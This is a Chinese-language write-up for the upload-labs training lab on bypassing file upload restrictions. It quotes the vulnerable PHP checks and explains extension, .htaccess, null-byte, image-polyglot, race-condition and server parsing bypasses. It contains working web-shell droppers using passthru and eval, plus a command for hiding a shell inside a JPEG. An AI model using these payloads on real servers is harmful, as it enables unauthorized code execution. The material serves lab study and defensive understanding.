前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Upload-labs&Upload Bypass Summarize

Upload-labs&Upload Bypass Summarize

作者头像
安恒网络空间安全讲武堂
发布2019-09-29 11:36:50
1.6K0
发布2019-09-29 11:36:50
举报

前言

暑假闲着也是闲着,去年这个时候刷完了 sqli-labs,今年想着来刷一下 upload-labs 而这次重点不在于题解,而在于总结与归纳 首先我们得明确一点,即上传的过程

burp的位置在

前端校验

对于前端的校验,上述流程图已经很清晰了,抓包即可破解,所以说前端的校验只能用于提示用户,想要保住安全性是自欺欺人的一种方式 例如 upload-labspass-01

Pass-01

第一关没有什么好说的,只是一个javascript的检测 而js的检测只能位于client,所以这里利用burp抓包改包就可以绕过,不需要分析了 甚至可以

改掉这里的 checkFile()即可

后端代码校验

在对上传的文件进行分析的时候,后端的php代码的不严谨,过滤不严格将会引起各种突破方式 下面以upload-labs的题进行分析

代码语言:javascript
复制
Pass-02:content-type问题  
Pass-03:黑名单绕过(pht,phtml,phps.....)  
Pass-04:.htaccess上传  
Pass-05:后缀大小写问题  
Pass-06:空格未过滤问题  
Pass-07:dot处理不严谨  
Pass-08:::$DATA  
Pass-09:Pass-06与Pass-07的组合使用  
Pass-10:双写后缀绕过问题  
Pass-11:%00截断问题(get)  
Pass-12:0x00截断问题(post)

这里我选择从源码分析,而非黑盒测试 因为一些上传的 trick想必大家都见过,但是为什么这样可以绕过,这就需要从源码分析 知其然,知其所以然。

Pass-02

我们分析关键的代码

代码语言:javascript
复制
if (isset($_POST\['submit'\])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES\['upload_file'\]\['type'\] == 'image/jpeg') || ($_FILES\['upload_file'\]\['type'\] == 'image/png') || ($_FILES\['upload_file'\]\['type'\] == 'image/gif')) {
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH . '/' . $_FILES\['upload_file'\]\['name'\])) {
                $img_path = UPLOAD_PATH . $_FILES\['upload_file'\]\['name'\];
                $is_upload = true;
}

可以看到,这里只校验了 http header里的 content-type,同样抓包修改即可 bypass

Pass-03

还是关键代码

代码语言:javascript
复制
if (isset($_POST\['submit'\])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES\['upload_file'\]\['name'\]);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH. '/' . $_FILES\['upload_file'\]\['name'\])) {
                 $img_path = UPLOAD_PATH .'/'. $_FILES\['upload_file'\]\['name'\];
                 $is_upload = true;
            }

不难看到这里使用的是黑名单模式 而过滤非常的少

代码语言:javascript
复制
$deny_ext = array('.asp','.aspx','.php','.jsp');

所以我们利用的方法有多种,但是有先决条件

solution1

首先如果 apache httpd.conf中有如下一句

代码语言:javascript
复制
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

等等 那么我们可以更改后缀名绕过

solution2

如果发现并不能解析

代码语言:javascript
复制
phtml .phps .php5 .pht......

那么我们还能尝试使用 .htaccess 这里需要

代码语言:javascript
复制
1.mod_rewrite模块开启
2.AllowOverride All

方法: 在apache下http.conf改配置:

代码语言:javascript
复制
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

然后上传的 .htaccess方式也是多样的 1.上传内容为

代码语言:javascript
复制
<FilesMatch "sky233">
  SetHandler application/x-httpd-php
 </FilesMatch>

此时即可上传 sky233 内容可被解析为 .php 2.上传内容为

代码语言:javascript
复制
AddType application/x-httpd-php .jpg

此时即可上传 sky233.jpg 内容可被解析为 .php

Pass-04

关键过滤

代码语言:javascript
复制
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

可以看到依旧没有

代码语言:javascript
复制
.htaccess

所以利用上述该类方法,可以有效绕过

Pass-05

将代码与第4题相比对

明显发现多了一个

代码语言:javascript
复制
.htaccess

并且没有将文件后缀转小写的代码了 于是这里显然可以用大小写绕过,例如 Php

Pass-06

继续与第五题比对

发现第六题删去了将文件名前后去空格的操作 所以可以利用

代码语言:javascript
复制
123.php(空格)

去绕过

Pass-07

继续和第六题比对(左6右7)

发现没有去处文件末尾的点的操作了 于是利用

代码语言:javascript
复制
sky.php.

可以绕过

Pass-08

左8右7 发现这里删掉了 ::$DATA的限制

漏洞参考

代码语言:javascript
复制
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream

所以使用

代码语言:javascript
复制
sky.php::$DATA

即可

Pass-09

关键代码如下:

代码语言:javascript
复制
if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES\['upload_file'\]\['name'\]);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH . '/' . $_FILES\['upload_file'\]\['name'\])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }

虽然有去末位点和去首位空格的操作 但是并不是循环处理的 所以可以这样构造

代码语言:javascript
复制
sky.php. .

这样经过一轮处理后,变为

代码语言:javascript
复制
sky.php.

剩下的道理如同Pass-07一样 可以轻松绕过

Pass-10

关键代码如下

代码语言:javascript
复制
if (isset($_POST\['submit'\])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES\['upload_file'\]\['name'\]);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH . '/' . $file_name)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            $is_upload = true;
        }

我们发现关键点位于

代码语言:javascript
复制
$file_name = str_ireplace($deny_ext,"", $file_name);

代码并未循环过滤,于是存在

代码语言:javascript
复制
sky.pphphp

这样的绕过

Pass-11

代码关键点在于

代码语言:javascript
复制
if(isset($_POST\['submit'\])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES\['upload_file'\]\['name'\],strrpos($_FILES\['upload_file'\]\['name'\],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES\['upload_file'\]\['tmp_name'\];
        $img_path = $_GET\['save_path'\]."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move\_uploaded\_file($temp_file,$img_path)){
            $is_upload = true;

我们容易发现关键点

代码语言:javascript
复制
$img_path = $_GET\['save_path'\]."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move\_uploaded\_file($temp_file,$img_path)){
            $is_upload = true;

这里的路径我们可控

代码语言:javascript
复制
$_GET['save_path']

于是不难想到利用

代码语言:javascript
复制
../upload/sky.php

这样的payload 但是后面会自动拼接后缀 于是想到常见的%00截断即可 payload

代码语言:javascript
复制
../upload/sky.php%00

Pass-12

只是单纯的改成了post形式 不再做多余的分析

图片渲染解析问题

确保用户上传的是真实图片而非恶意文件,图片的解析也是一个重要的问题 但这里一般需要打组合拳 即利用文件包含/php伪协议+图片上传 而这里只要求我们上传带有小马的图片即可

代码语言:javascript
复制
Pass-13:unpack()  
Pass-14:getimagesize()  
Pass-15:exif_imagetype()  
Pass-16:imagecreatefromjpeg()

以上函数基本上用图片隐写就可以bypass 即

代码语言:javascript
复制
copy normal.jpg /b + shell.php /a webshell.jpg

或是jpg图片FFD9后加小马

Pass-13

这里的任务是要求传一个带有小马的图片

这里简单的添加到jpg图片末位FFD9后就行了 但这里的利用一般要配合文件包含,但是题目的要求到这里就结束了

Pass-14

利用

代码语言:javascript
复制
$info = getimagesize($filename);
$ext = image\_type\_to_extension($info\[2\]);

获取图像类型,绕过方法同Pass-13

Pass-15

代码语言:javascript
复制
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

这里用了 exif_imagetype()去判断文件类型 同样用Pass-13的方法可以绕过

Pass-16

代码语言:javascript
复制
$im = imagecreatefromjpeg($target_path);
if($im == false){
     $msg = "该文件不是jpg格式的图片!";}

这里使用了 imagecreatefromjpeg()来判断文件类别 同样可用Pass-13的方法绕过

条件竞争问题

有时候你上传的文件,服务端会将其删除或是重命名 这里就需要用到条件竞争的方式 方式也很简单 即用Burp不断上传,再用burp不断访问 一般常见的上传内容为

代码语言:javascript
复制
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET\["f"\]);?>');?>

这样在你访问到的同时,就会在当前目录写下一个shell,下次就不用竞争利用了 这里有一道很经典的题目(N1CTF-hard php)

代码语言:javascript
复制
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

利用phpinfo中上传的tmp文件,条件竞争,进行文件包含,getshell 以及PHP_SESSION_UPLOAD_PROGRESS的条件竞争,包含getshell的问题

代码语言:javascript
复制
http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php

这里额外提一句:对于条件竞争,有时候存在非预期 例如:

代码语言:javascript
复制
-a

同样出自N1CTF(hard-php)

代码语言:javascript
复制
https://xz.aliyun.com/t/2148

这样的文件一般情况无法删除的问题 还有比较常用的可让unlink不运行

代码语言:javascript
复制
/.

绕过的问题

PHP底层问题

Pass-19

关键代码如下

代码语言:javascript
复制
if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST\['save_name'\];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], $img_path)) { 
                $is_upload = true;
            }
        }

这里可以直接使用

代码语言:javascript
复制
sky.php/.

去绕过

访问

具体原因来自于

代码语言:javascript
复制
move_uploaded_file()

该函数会递归删除文件名最后的 /. 详细分析可看

代码语言:javascript
复制
http://wonderkun.cc/index.html/?p=626
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

类似的函数,上述师傅的blog已经有提及,我就不再赘述,毕竟他们都是跟过底层的大佬XD

畸形解析

上述方法都不行?试试畸形解析吧!

IIS 6.0

IIS 6.0解析利用方法有三种: 1.目录解析 建立 xx.asp为名称的文件夹,将asp文件放入,访问 /xx.asp/xx.jpg,其中 xx.jpg可以为任意文件后缀,即可解析 2.文件解析 后缀解析: /xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名) 3.默认解析 IIS6.0 默认的可执行文件除了asp还包含这三种

代码语言:javascript
复制
/wooyun.asa  
/wooyun.cer  
/wooyun.cdx

IIS 7.0/7.5

在正常图片URL后添加 /.php 小马如下

代码语言:javascript
复制
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST\[cmd\]?>');?>

Apache

后缀解析: test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3则会被解析为php

Nginx<8.03

法1:同 IIS7.0/7.5 法2: xxx.jpg%00.php

后记

上传的可能存在的问题有很多,由于入行未深,浅尝辄止,若各位大佬有更好的奇淫技巧,敬请补充!

参考链接

http://www.sostan.com/hk/webhackiis7/ http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ https://xz.aliyun.com/t/2148 https://github.com/LandGrey/upload-labs-writeup https://blog.csdn.net/u010726042/article/details/78037696 http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 前端校验
    • Pass-01
    • 后端代码校验
      • Pass-02
        • Pass-03
          • solution1
          • solution2
        • Pass-04
          • Pass-05
            • Pass-06
              • Pass-07
                • Pass-08
                  • Pass-09
                    • Pass-10
                      • Pass-11
                        • Pass-12
                        • 图片渲染解析问题
                          • Pass-13
                            • Pass-14
                              • Pass-15
                                • Pass-16
                                • 条件竞争问题
                                • PHP底层问题
                                  • Pass-19
                                  • 畸形解析
                                    • IIS 6.0
                                      • IIS 7.0/7.5
                                        • Apache
                                          • Nginx<8.03
                                          • 后记
                                          • 参考链接
                                          领券
                                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档